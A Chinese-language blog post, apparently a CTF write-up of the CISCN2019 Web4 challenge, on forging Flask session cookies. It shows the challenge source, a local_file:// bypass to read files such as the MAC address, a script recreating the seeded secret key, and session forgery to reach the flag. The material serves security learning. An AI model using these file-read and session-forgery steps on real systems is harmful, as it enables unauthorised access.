Session会话之伪造用户登录

前言

伪造用户登录的攻击面也是特别广

伪造用户需要 Key,所以隐藏 key的方法就有很多

  • uuid.getnode()函数隐藏 key
  • Session反序列化
  • 环境变量藏 KEY,软连接读任意文件读取
  • pickle反序列化/proc/self/environ获取环境变量
  • SSTI读取环境变量

例题[CISCN2019 华东南赛区]Web4

img

有传参,猜测目录跨越

这种路由处理方式并不像是PHP,尝试了file:///etc/passwd没有效果,猜测Flask,尝试local_file:///读取文件

img

flask的默认文件app/app.py

源码

import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

if session and session['username'] == 'fuck':得到flag

  • 伪造session

而伪造session或者解密session都需要密钥,在源码中有密钥的生成方式:

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。

那么就需要读取Mac地址local_file:///sys/class/net/eth0/address

img

#!/usr/bin/python
import random

random.seed(0x0242ac10a57a)
print(str(random.random()*233))
img

解码成功

img

{'username': b'www-data'}修改为{'username': b'fuck'}然后重新加密生成session

img

替换生成的session,得到flag

img

posted @ 2022-02-06 17:04  kzd的前沿思考  阅读(375)  评论(0编辑  收藏  举报